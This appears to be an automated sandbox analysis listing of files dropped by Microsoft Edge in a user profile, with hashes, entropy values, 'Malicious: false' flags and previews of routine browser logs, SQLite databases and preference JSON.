SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bcc71b01-bb3e-4e6e-987e-9e6a6e90bb9a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.246833273999356
Encrypted:	false
SSDEEP:	12:g4Gyv4YebvqBZFUt874JX/+74NR5LYebvqBaJ:pGY4Yebvyg8MJZNDLYebvL
MD5:	96009A474ED61A00F6868AB50CE463FF
SHA1:	9F36D3C73B0AA0862712E76CAC618DA0C2D1CFA4
SHA-256:	DC886A72DBD077C0F1894793ACF5ECB1EADC9A2A1FF0D7252FAACEE8FD796CC4
SHA-512:	B246F58C17E907B7928FB761ABB2775E233CFEE267F862E916208843837B404BFDB5B7A902AE4B2DFBFF2CE115B814CF52CD1A6379AEB5F5EF44F9DD3677C2C7
Malicious:	false
Preview:	2024/11/25-12:28:44.592 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-12:28:44.593 1da8 Recovering log #3.2024/11/25-12:28:44.597 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.246833273999356
Encrypted:	false
SSDEEP:	12:g4Gyv4YebvqBZFUt874JX/+74NR5LYebvqBaJ:pGY4Yebvyg8MJZNDLYebvL
MD5:	96009A474ED61A00F6868AB50CE463FF
SHA1:	9F36D3C73B0AA0862712E76CAC618DA0C2D1CFA4
SHA-256:	DC886A72DBD077C0F1894793ACF5ECB1EADC9A2A1FF0D7252FAACEE8FD796CC4
SHA-512:	B246F58C17E907B7928FB761ABB2775E233CFEE267F862E916208843837B404BFDB5B7A902AE4B2DFBFF2CE115B814CF52CD1A6379AEB5F5EF44F9DD3677C2C7
Malicious:	false
Preview:	2024/11/25-12:28:44.592 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-12:28:44.593 1da8 Recovering log #3.2024/11/25-12:28:44.597 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.189050222815487
Encrypted:	false
SSDEEP:	6:HApFmWWbJN+q2P923oH+TcwtpIFUt8YApFmWJmSmWZmw+YApFmWJmSNVkwO923oM:gEf+v4YebmFUt87yXW/+7yiV5LYebaUJ
MD5:	DC854C5F99DC7B0EECC137A9769B6DA1
SHA1:	8B864423656B0B1DBA351F6184CA2C91B610F0AC
SHA-256:	457F668B68BBCD45A4B4E2A5DFCA67329949985F4902F70C532A06461F71F44E
SHA-512:	84F4BDE1FA506E50C8903BA553C2BB0DE89CD05C6DB2D92F29080397FC7B1472C4393EA1652EF38DC230D0F4E0C117F8EE9237FC44BD444CEBCB48D9511337B6
Malicious:	false
Preview:	2024/11/25-12:28:25.331 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-12:28:25.361 1d5c Recovering log #3.2024/11/25-12:28:25.361 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.189050222815487
Encrypted:	false
SSDEEP:	6:HApFmWWbJN+q2P923oH+TcwtpIFUt8YApFmWJmSmWZmw+YApFmWJmSNVkwO923oM:gEf+v4YebmFUt87yXW/+7yiV5LYebaUJ
MD5:	DC854C5F99DC7B0EECC137A9769B6DA1
SHA1:	8B864423656B0B1DBA351F6184CA2C91B610F0AC
SHA-256:	457F668B68BBCD45A4B4E2A5DFCA67329949985F4902F70C532A06461F71F44E
SHA-512:	84F4BDE1FA506E50C8903BA553C2BB0DE89CD05C6DB2D92F29080397FC7B1472C4393EA1652EF38DC230D0F4E0C117F8EE9237FC44BD444CEBCB48D9511337B6
Malicious:	false
Preview:	2024/11/25-12:28:25.331 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-12:28:25.361 1d5c Recovering log #3.2024/11/25-12:28:25.361 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650189170515314
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM3SAELyKOMq+8yC8F/YfU5m+OlTLVumi:Bq+n0J39ELyKOMq+8y9/Owl
MD5:	6D6077BB255D0D734A7A842BB93AC773
SHA1:	DFE9B60A06C543B566B62340D94E399C58CF7866
SHA-256:	AD012886822A4517F42DA8338735B9CECC6DB3F314868D1BA223E1B9AB9FF446
SHA-512:	E8B3D42D38F98B297C73DFE72CDE929A08F44A1E2118D2F3A08B619198E6C10EF1087688AC76C6262BC9297B1525F41869D0A7730A1E48BBC1C05154E30187C5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46693739333355433
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB07PwT:v7doKsKuKZKlZNmu46yjx07i
MD5:	EDF95D5ED2F71054BAD98D323B38B0E8
SHA1:	A806157FEFB4D0706C734173819A9E63F6BCF6CA
SHA-256:	21242EF370B479C27C417A4120CB01CA1A19B96EA198D07750FC0F75EB83DB7D
SHA-512:	7CD786BC12C3CB37EDA56D6A176534BF01285A132312A336A17E1EAEA10B481859072CD1D2528E038FD5A283A27CC605A1D90A93DDB49F93343D64F689A37109
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ae60b1a6-d54e-404b-995c-f06881de6b9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17453), with no line terminators
Category:	dropped
Size (bytes):	17455
Entropy (8bit):	5.485763430171348
Encrypted:	false
SSDEEP:	384:stwPGQSu4gsHqfhx1tuX1vRRmGTwnNaucbGrQw16W9laTYv:siOXu8qfxtbQbGEe3aTYv
MD5:	2CDB6C8027CDB37EF81318467B2E1D45
SHA1:	699CFB2F6F0C02F4330D123684D838EE44AE00ED
SHA-256:	904188A3AD15354A3BE0E5F2FD82F754741B28E41783A43415C0DFA75A63B0DB
SHA-512:	73C9960F9487D77AB22ADDAA194319421DCB2B2A88B6448A436CB1C8E8C9B9B420D331E8F41DF00C6B4C213EBBFABA04EE9DE2591720B461A4D217E3BBBA3B74
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c0167cad-76ea-4379-98dd-ea1cfdfef666.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17288), with no line terminators
Category:	dropped
Size (bytes):	17290
Entropy (8bit):	5.489072846051857
Encrypted:	false
SSDEEP:	384:stwPGQSu4gsHqfhx1tuX1vRRmGTwnNaucbGrQw16W4aTYv:siOXu8qfxtbQbGEe0aTYv
MD5:	A106F8114152AC4507C0DDE43BBF4547
SHA1:	73A01359032E05F54C55C82195D323A76725FF8A
SHA-256:	520763B1823750033BDBBBC01835EDE409908711E7594AE5E75F579CFFCF6685
SHA-512:	F7118FEA5567B9C6FA21A27624889954239687B9768EEB21A3F463DE6B55FDA09F0524BBBB89F7F6BDC2FE1511E2A2190E1233326674CD8F91EFAAF2998DDDC9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c3b6abec-d92a-4ba1-9dbc-6998557b25b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17453), with no line terminators
Category:	dropped
Size (bytes):	17455
Entropy (8bit):	5.485843115283767
Encrypted:	false
SSDEEP:	384:stwPGQSu4gsHqfhx1tuX1vRRmGTwnNaucbGrQw16WwlaTYv:siOXu8qfxtbQbGEe+aTYv
MD5:	78C6614535B4053B9BB14EE4623BFA99
SHA1:	435A387B1EA080029541BC8ECEA3050580C13A39
SHA-256:	5CC3238A3C5A0D240F7D6B91008D953514B81ADF84CA5B015B946D5F20E80227
SHA-512:	0B5E222ED590B9256EAD64909EF46C70CC91B8DD6BA1191EFD97AF6CAC499EB1851BCBCF6705B71A6693A24B981050EAF0BC69038F6F52B47B92157E01830B96
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\db730c8d-eae9-4274-a5e9-512b66711dbf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561401438649331
Encrypted:	false
SSDEEP:	768:bBZdQB7pLGLPMmWPLHfCS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVsL1OZ5crwqZtfl:bBZdQ3cPMmWPLHfCSu1japL1I5VqZtC0
MD5:	E0FBA90453947F8EB0B5D72A802361ED
SHA1:	570623B96CE6C979569169D9BB6E5EB914238790
SHA-256:	2D60AAD37696E7E6C5E8B1D8894D168ADB30CF4F2DC598E9F8293FEE72489DD2
SHA-512:	68B4EC95341F319A046042CD8CA64DD8D3DA2099B30CEADF5389F15AB65720698867D280E09014EEF75FC748497CA05DC916300A8F310F96981EC91838035B98
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377029305313966","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377029305313966","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10299176994488739
Encrypted:	false
SSDEEP:	6:Gu0QbL0QDXB89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/VS:+WQORspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	D84736CF5E5874B54C1844799021A58A
SHA1:	D3AE459FC31A3358E94EEE5B5655D22E1B8A9621
SHA-256:	758069EFCBA3E73AF6A365602E7C520CFDD6EBC7EEC593B69C637B21AF82E138
SHA-512:	5FE70A536D0928E6B981392564A48F718463EB3496710DC2BBBB072F54B655DFFF3C809A3F2F1FD437E2C9A80F9FA6136F68770480BDB954EE01C536DE61402B
Malicious:	false
Preview:	..-.............M..........]..N..4..}....5.Z.....-.............M..........]..N..4..}....5.Z...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.889625563541551
Encrypted:	false
SSDEEP:	384:G2wXVpnVIAQABl+bn8pL/NzDy1K4sv8uyGy/OySyrNynxyH1:yxRg
MD5:	44280AD1D7A67B2355FBF057E4DE1642
SHA1:	89B718408100E3D5A710B8BE98033A0CC4F8A14F
SHA-256:	89E39561F12E68B4FCA0D348970B463F4DC3F9B802F3379A9356D730CD07C77C
SHA-512:	7790744248F446BB66AABED42F8FF371B53C27F3FB813C8971CC0A1E4EAAC8E461BE636D9C634F0CE43C57F3E1E42582801D204A1CEF1094518F81CAEF68F3C3
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2291240087830424
Encrypted:	false
SSDEEP:	6:/XntM+iTl3sedhOKOuuuuuuuuuuuuuuuuuuuuuuuZoPsedhOF:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuun8c
MD5:	4A2BC97854EBBF9EBC9735B7DB52E591
SHA1:	AA868908D2CBC1BE0D2FB7B82E936E820B7DFBCF
SHA-256:	E4354CEBDF02137543A96AF6E3F0F6EE3844DAA3CBCAD13053B3450A2C7A0A1D
SHA-512:	5E606CC5BE1EC85D1F3B280E02BEFA061492DE1DB88D731C09F4BB684F1D3FC5A95216C785384210058A63EB8EB61425C2AB31A3B9DA8DBA83436798D6E13BCB
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............F..<0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.247501745251124
Encrypted:	false
SSDEEP:	6:HApFmcSCa+q2P923oH+TcwtfrK+IFUt8YApFmcSCeZmw+YApFmcSRQVkwO923oHK:gHfa+v4Yeb23FUt87Hfe/+7HiQV5LYet
MD5:	3314AF1666F36241538CFDD79C58419D
SHA1:	C559D7D5F4EED41716ACE21524DE7C966C02C769
SHA-256:	0F39FB6F681D4872CFB81662D445BEDC893B4C02E62C38295548446CAC7CB475
SHA-512:	898EF6E21214D1D2F14D4588ACA76EE3C9CE3BBC6226719B98E49245288F226BCEFA82C6B70CC67B36320F4316475C59763606213F1FA0CCAA72082A63B0804C
Malicious:	false
Preview:	2024/11/25-12:28:25.973 1d7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-12:28:25.973 1d7c Recovering log #3.2024/11/25-12:28:25.974 1d7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
